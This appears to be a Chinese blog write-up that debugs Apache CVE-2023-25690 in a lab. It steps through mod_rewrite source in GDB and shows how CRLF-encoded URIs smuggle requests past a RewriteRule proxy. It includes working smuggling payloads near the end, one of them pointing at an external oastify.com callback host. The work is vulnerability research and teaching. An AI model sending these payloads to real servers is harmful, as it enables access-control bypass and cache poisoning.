随记体验 · 2024年8月15日 0

Apache CVE-2023-25690 漏洞手动调试分析

纸上得来终觉浅,绝知此事要躬行。 —陆游

漏洞简述

Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod_proxy 配置允许 HTTP 请求走私攻击。 启用 mod_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,当规则与用户提供的URL的某些部分匹配时,会因为变量替换从而造成代理请求目标错误 此漏洞会造成请求拆分和走私,引起权限绕过,缓存投毒等攻击。

环境搭建

  • 操作系统:Ubuntu 20.04
  • IDE:VS Code

    安装依赖

依赖需要使用到编译软件所需的build-essential,以及调试C/C++程序所需要的GDB等:

sudo apt-get install build-essential gdb
sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev

下载源码

Apache官网下载2.4.55版本源码: https://archive.apache.org/dist/httpd/

官网下载apr-1.7.4和apr-util-1.6.3的源码: https://dlcdn.apache.org/apr/

解压并安装:

tar -xvzf httpd-2.4.55.tar.gz
tar -xvzf apr-1.7.4.tar.gz
tar -xvzf apr-util-1.6.3.tar.gz

apr

CLFAGS="-g" ./configure --prefix=/home/workspace/apache-bin/apr
make
make install

apr-util

CLFAGS="-g" ./configure --prefix=/home/workspace/apache-bin/apr-util --with-apr=/home/workspace/apache-bin/apr
make
make install

httpd

CFLAGS="-g" ./configure --prefix=/home/workspace/apache-bin/httpd --with-apr=/home/workspace/apache-bin/apr --with-apr-util=/home/workspace/apache-bin/apr-util
make
make install

VS Code调试配置

安装VS Code(略)

进入/home/workspace/apache-bin/httpd目录,安装VS Code的cpp扩展:

image.png

然后添加launch.json配置文件:

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "httpd-2.4.55",
            "type": "cppdbg",
            "request": "launch",
            "program": "/home/workspace/apache-bin/httpd/bin/httpd",
            "args": ["-X", "-DFOREGROUND"],
            "stopAtEntry": false,
            "cwd": "/home/workspace/apache-bin/httpd",
            "environment": [],
            "externalConsole": false,
            "MIMode": "gdb",
            "setupCommands": [
                {
                    "description": "Enable pretty-printing for gdb",
                    "text": "-enable-pretty-printing",
                    "ignoreFailures": true
                }
            ]
        }
    ]
}
  • program 为需要调试的httpd二进制文件

  • args是运行时传递的参数,-DFOREGROUND的作用是让Apache运行在前台。-X的作用是只启动一个进程,Apache本身是一个多进程的Web服务器,调试的时候会产生干扰,因此指定-X参数非常重要。

  • cwd是指定运行时的目录

开启模块

修改conf/httpd.conf,开启添加如下模块:

LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule rewrite_module modules/mod_rewrite.so

ServerName设置以及访问端口设置8000:

ServerName 127.0.0.1
Listen 8000

设置反向代理

然后在httpd.conf最下方写如下代码,开启反向代理服务:

<VirtualHost *:8000>
    ServerAdmin webmaster@localhost
    ServerName localhost:8000
    DocumentRoot /home/workspace/apache-bin/httpd/htdocs

    LogLevel alert rewrite:trace3 proxy:trace8

    ErrorLog /home/workspace/apache-bin/httpd/logs/error.log
    CustomLog /home/workspace/apache-bin/httpd/logs/access.log combined

    RewriteEngine on
    RewriteRule "^/hello/(.*)" "http://192.168.23.130/index.php?name=$1" [P]

</VirtualHost>

设置日志等级,主要用于记录mod_rewrite和mod_proxy日志 LogLevel alert rewrite:trace3 proxy:trace8,可以在error.log中查看

RewriteRule具体可以参考mod_rewrite模块的文档:

https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html

末尾的 [P] 会将请求发送给mod_proxy模块,让apache生成一个request去请求目标后端服务器,这里后端服务器是我用Kali-Linux直接启动的192.168.23.130 的Apache+PHP服务器。

动态调试

漏洞点在mod_rewrite.c的hook_uri2file函数中,当uri匹配到正则时,就会进行RewriteRule规则替换,然后准备一个新的请求交给mod_proxy:

我们可以将断点打在modules/mappers/mod_rewrite.c的4693行:

image.png

然后发送如下请求包:

GET /hello/abc HTTP/1.1
Host: 192.168.23.132:8000

可以看到,请求被解析,可以看到thisserver,port,thisurl等参数:

image.png

F10,继续向下走,走到4717行的地方,就是rewrite规则的地方了,此时r->filename的值与r->uri的值保持一致:

image.png

继续F10下一步:

image.png

可以看到经过apply_rewrite_list函数后,r->filename会变为"[proxy:http://192.168.23.130/index.php]”,这里的写法可以参考mod_proxy模块,然后r->args也会被替换为"[name=]",也就是我们反向代理配置中写的get传参:

image.png

继续F10单步走,来到4740行的时候,这里会判断r->filename是否以"proxy:"开头:

image.png

继续F10向下,经过一系列的if判断后,r->handler被设置为"[proxy:server]":

image.png

之后就会交给mod_proxy处理,然后顺利收到响应:

HTTP/1.1 200 OK
Date: Wed, 15 Mar 2023 16:29:39 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/8.0.2
Content-Type: text/html; charset=UTF-8
Content-Length: 9

Hello!

漏洞分析

以上流程中,我们的可控的只有r->args,那么就可以考虑从这里入手,如果uri中带有控制字符,那么就有可能控制发送给mod_proxy的请求体,从而造成请求走私,类似于CRLF注入。

发送如下请求,uri中携带控制字符:

GET /hello/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
Host: 192.168.23.132:8000

经过apply_rewrite_list函数后,r->args被设置为name=$1的形式,而$1也就是r->uri中匹配"^/hello/(.*)"的部分,值得注意的是,这里的r->uri是经过了url解码的,我们的控制字符被成功解析,从而有了进行CRLF注入的机会:

image.png

按F5直接运行后,查看Kali服务器的access.log,可以看到请求成功发送给了后端服务器,造成请求走私:

image.png

由此可以得知可控部分在整个请求头的中间,因此使用以下Payload进行测试(假设后端服务器存在类似index.php?secret=的实现方式):

GET /hello/1 HTTP/1.1%0D%0AHost: localhost%0D%0A%0D%0AGET /index.php%3fsecret=e9oqiv225m7dzu6l2475rshga7gy4ssh.oastify.com
Host: 192.168.23.132:8000

获得DNSlog响应。

image.png
参考资料:

https://forum.butian.net/share/2180
https://github.com/dhmosfunk/CVE-2023-25690-POC